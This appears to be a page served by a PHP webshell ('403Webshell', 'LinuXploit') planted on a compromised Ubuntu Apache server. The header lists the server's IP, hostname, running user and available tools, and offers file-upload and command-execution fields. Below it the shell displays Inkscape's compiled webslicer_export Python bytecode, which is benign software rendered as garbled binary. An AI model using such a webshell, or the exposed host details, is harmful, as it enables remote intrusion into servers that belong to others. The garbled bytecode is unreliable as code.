403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/inkscape/extensions/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/inkscape/extensions/__pycache__/webslicer_export.cpython-310.pyc
o

0�a�D�@svddlZddlZddlZddlmZddlZddlmZddl	m
Z
mZGdd�de
ej�Z
edkr9e
���dSdS)�N)�etree)�
inkex_gettext)�WebSlicerMixin�is_emptyc@s�eZdZdd�ZdZdd�Zdd�ZgZdd	�Zd
d�Z	dd
�Z
dd�Zdd�Zdd�Z
dd�ZdZdd�Zdd�Zdd�Zdd�Zdd �Zd!d"�ZiZd#d$�Zd7d&d'�Zd(d)�Zd*d+�ZiZd,d-�Zd8d0d1�ZgZd2d3�Zd4d5�Z d6S)9�ExportcCs<|�d�|�d�|jdtjdd�|jdtjdd�dS)Nz--tabz--dirz--create-dir�
create_dir)�type�destz--with-code�	with_code)�add_argument�inkex�Boolean)�self�pars�r�2/usr/share/inkscape/extensions/webslicer_export.py�
add_argumentss

zExport.add_argumentsz{http://www.w3.org/2000/svg}c
Cs�t|jj�r
t�td���|jjddks|jjddkr'|jjdd�|j_tj�|jj�sb|jj	rVz	t�
|jj�Wn%tyU}z
t�td�|jj|����d}~wwt�td�|jj����|�
�}|durqt�td���|�|�dS)	Nz/You must give a directory to export the slices.����/�\rzCan't create '{}': {}.zDir doesn't exist '{}'.zNo slicer layer found.)r�options�dirr�AbortExtension�_�os�path�existsr�makedirs�	Exception�format�get_slicer_layer�unique_html_id)r�e�slicer_layerrrr�validate_inputs&s$ ��
zExport.validate_inputscCsftjdkrd|d}t�|dd�}|��}|��}|dur!d}|dd�dkr/|dd�}||fS)	N�win32z{ z; }z 2>&1�rrr�
)�sys�platformr�popen�read�close)r�cmd�pipe�text�stsrrr�get_cmd_output?s
zExport.get_cmd_outputcCs�|��D]l}|j|jd|jd|jd|jdfvrp|�|�}|d|jvr]t�d�|d��d}|ddt|�|jvrQ|d	7}|ddt|�|jvs@|ddt|�7<|j�	|d�|�
||�|�|�qdS)
N�rectr�circle�g�html-idz1You have more than one element with "{}" html-id.��-�)�getchildren�tag�svgNS�get_el_conf�	_html_idsr�errormsgr�str�append�	save_confr!)r�el�child�conf�nrrrr!Rs"�
�
��zExport.unique_html_idcCs$|�d�\}}|dkod|v|_dS)Nzconvert --versionr�ImageMagick)r1�
has_magick)r�status�outputrrr�test_if_has_imagemagickaszExport.test_if_has_imagemagickcCs`|��|��}|r|S|�ddd�|��|�|���|jjr*|��|�	�|�
�dS)N�bodyz
text-align�center)rJr$�reg_css�create_the_temporary_svg�export_chids_ofr rr
�make_html_file�
make_css_file�delete_the_temporary_svg)r�stream�errorrrr�saveeszExport.savecCsFttj�|jjd�d�}|�d|��dddd�|��dS)Nzlayout.html�wz�<html>
<head>
  <title>Web Layout Testing</title>
  <style type="text/css" media="screen">
    @import url("style.css")
  </style>
</head>
<body>
z-  <p style="position:absolute; bottom:10px">
z/  This HTML code is not done to the web. <br/>
z4  The automatic HTML and CSS code are only a helper.z</p>
</body>
</html>)	�openrr�joinrr�write�	html_coder,�r�frrrrPxs���	�
��zExport.make_html_filecCs6ttj�|jjd�d�}|�d|���|��dS)Nz	style.cssrVze/*
** This CSS code is not done to the web.
** The automatic HTML and CSS code are only a helper.
*/
)	rWrrrXrrrY�css_coder,r[rrrrQ�s��zExport.make_css_filecCsVt�d�\}|_|��}d|jvr|jdpd}d|jd<|j�|j�||jd<dS)Nz.svg�style�zdisplay:none)�tempfile�mkstemp�tmp_svgr �attrib�documentrY)r�ref�layer�
current_stylerrrrN�s
zExport.create_the_temporary_svgc
Cs.z	t�|j�WdStttfyYdSw)N)r�removerb�IOError�OSError�PermissionError)rrrrrR�s
�zExport.delete_the_temporary_svgrcCs�|�|jd�}i}|durt�|d�}|jdurd|_|j�d�D]}|�d�dkr<|�d�}|d��||d��<q"d|vrf||��krKddiS|jd7_d	t	|j�|d<|jd
|d7_|S)N�descr_r'�:rr8r5�#body#zelement-z	
html-id:)
�findr;r�
SubElementr/�split�stripr �noid_element_countr?)rrBrlrD�linerrrr<�s$

�zExport.get_el_confcCsJ|�d�}|dur#g}|D]
}|�|d||�q
d�|�|_dSdS)Nz {http://www.w3.org/2000/svg}descz : r')ror@rXr/)rrDrBrl�conf_a�krrrrA�s
�zExport.save_confcCs�|�|�d}|��D]A}|�|�}|j|jdkr*|jjr%|�||�n|�|�|j|jd|jd|jdfvrL|jjrF|�|||�|�	||�qdS)Nr5r4r2rr3)
r<r9r:r;rr
�register_group_coderO�register_unity_code�
export_img)r�parent�	parent_idrB�el_confrrrrO�s

"��zExport.export_chids_ofcCs�|�d|�d|d}|�|dd�|�|�}|�|dtt|d��d�|�|d	tt|d
��d�|�|dtt|d��d�|�|d
tt|d��d�|�|�dS)N�div�#r5�position�absolute�top�y�px�left�x�widthrV�height�h)�reg_htmlrM�get_relative_el_geometryr?�intrO)r�grouprD�selec�geometryrrrrw�s
zExport.register_group_codecCs$d|vrd|d<d|vrd|d<|S)N�layout-dispositionzbg-el-norepeat�layout-position-anchor�mcr)rrDrrr�__validate_slice_conf�s
zExport.__validate_slice_confc		CsR|�|�}d|d}d}|�||�}|ddd�dkr�|ddd�d	kr�|d
kr.d}nd|}|ddkr:d
}|ddkrBd}|ddkrJd}|d}|dkrTd}|dkrZd}|dkr`d}|dkrfd}|dkrld}|dkrrd}|dkrxd }|d!kr~d"}|d#kr�d$}|�|d%d&�|||��dS|�d'|�|�|d%d(�|d��|�|d)d*�|�|d+�}|�|d,|d-�|�|d.|d/�|�|d0|d1�|�|d2|d3�dS|�d4|�|dd5k�r	|�|d)d*�|�|�}|�|d.t|d/�d6�|�|d,t|d-�d6�|dd7k�r|�|d8d9�|dd:k�r'|�|d8d9�dSdS);Nr~r5z	no-repeatr�rr6�bg�	z	bg-parentrnrKzbg-parent-repeat�repeatzbg-parent-repeat-xzrepeat-xzbg-parent-repeat-yzrepeat-yr��tlztop left�tcz
top center�trz	top right�mlzmiddle leftr�z
middle center�mrzmiddle right�blzbottom left�bcz
bottom center�brzbottom right�
backgroundzurl("{}") {} {}r}zurl("{}") {}rr�Tr�r�r�r�r�rVr�r��imgzimg-posr�zimg-float-left�float�rightzimg-float-right)�_Export__validate_slice_conf�img_namerMrr�r�r?)	rrBrDr{�css_selector�	bg_repeatr��
lay_anchor�georrrrx�st
�
�
�zExport.register_unity_codecCs�d|j}|�|�\}}i|_|dkrB|�d�D])}|�d�}t|�dkrAt|d�t|d�t|d�t|d	�d
�|j|d<q|j�|j�	��
d��}|j�|j�	��
d��}dd||d
�|jd
<dS)Nzinkscape --query-all rr'�,�r8r6��)r�r�rVr�r�r�zwebslicer-layer)rbr1�el_georq�lenr��svg�unittouurd�getroot�get)r�ink_cmmrHrIrB�doc_w�doc_hrrr�register_all_els_geometrys

��z Export.register_all_els_geometryFcCs�|js|��|��}|j|jd}|d|j|jdd8<|d|j|jdd8<|rF|D]}tt||��d||<q7|S)N�idr�r�r�)r�r��	getparentrcr?r�)rrB�value_to_cssrzr�rvrrrr�*s  zExport.get_relative_el_geometrycCs|jdd|dS)Nr��.r)rc)rrBrDrrrr�:szExport.img_namec	Cs�|jst�td��d|d<tj�|jj|�	||��}|}|ddkr'|d}d}d|vr7|d|dd7}d	|vrC|d
|d	7}d|vr\|d�
d�}|d
|dd|d7}|�d�||j
d||j��\}}|ddkr�d}|ddkr�|dt|d�7}|ddkr�|ddkr�|d7}n|d7}|ddkr�|dt|d�7}|�d�|||��\}}|dkr�t�d|�t�|�dSdS) Nz4You must install the ImageMagick to get JPG and GIF.�pngrz.pngr_zbg-colorz -b "z" -y 1�dpiz -d �	dimensionr�z -w rz -h r8z inkscape {} -i "{}" -o "{}" "{}"r��jpgz
 -quality �quality�gifzgif-type�	grayscalez -type Grayscalez -type Palettezpalette-size�z	 -colors zconvert "{}" {} "{}"zUpss... ImageMagick error: )rGrr>rrrrXrrr�rqr1rrcrbr?rh)	rrBrDr��img_name_png�opts�dimrHrIrrrry=s>"
�zExport.export_imgcCs~|��}|�|�d}||��krd}|�|�}|d}d|vr%|d}nd}||jvr1g|j|<|j|�|||d��dS)Nr5rKz
html-classr_)r:r��class)r�r<r �_htmlr@)r�el_tagrBrzr{rD�el_id�el_classrrrr�`s



zExport.reg_htmlrK�  c	Cs||jvrdSd}|j|D]y}|�|d|d�}d}|ddkr*d|dd}|ddkrL||d	|dd|d
|�||�|��d7}q||d|dd
|dd|d7}|ri||7}n||d|dd7}||d|dd|dd7}q|S)Nr_r�r�r�z class="�"r:r�z	<img id="z src="z"/>
�<z id="z>
z
  Element r'z</z
><!-- id="z" -->
)r�rZr�r<)rrz�ident�coderB�
child_code�	tag_classrrrrZos,
���,
&zExport.html_codecCs�d}}|jD]}|d7}|d|kr|}q|dkr'|d}|j�|id��||j|dvr9g|j|d|<|j|d|�|�dS)Nrr8�selector)r��attsr�)�_cssr@)rr��att�val�pos�i�srrrrM�s
�zExport.reg_csscCs�d}|jD]:}|d|dd7}|dD]%}|d|}|dkr+t|�dkr+|d7}|d	|d
d�|�d7}q|d
7}q|S)Nr_r'r�z {
r�r�r8z8  /* the next attribute needs a CSS3 enabled browser */
r�z: z, z;
z}
)r�r�rX)rr�r�r�r�rrrr]�s
 
zExport.css_codeN)F)rKr�)!�__name__�
__module__�__qualname__rr;r$r1r=r!rJrUrPrQrNrRrsr<rArOrwr�rxr�r�r�r�ryr�r�rZr�rMr]rrrrrs>
<
!

r�__main__)rr(r`�lxmlrr�inkex.localizationrr�webslicer_effectrr�OutputExtensionrr��runrrrr�<module>s�

Youez - 2016 - github.com/yon3zu
LinuXploit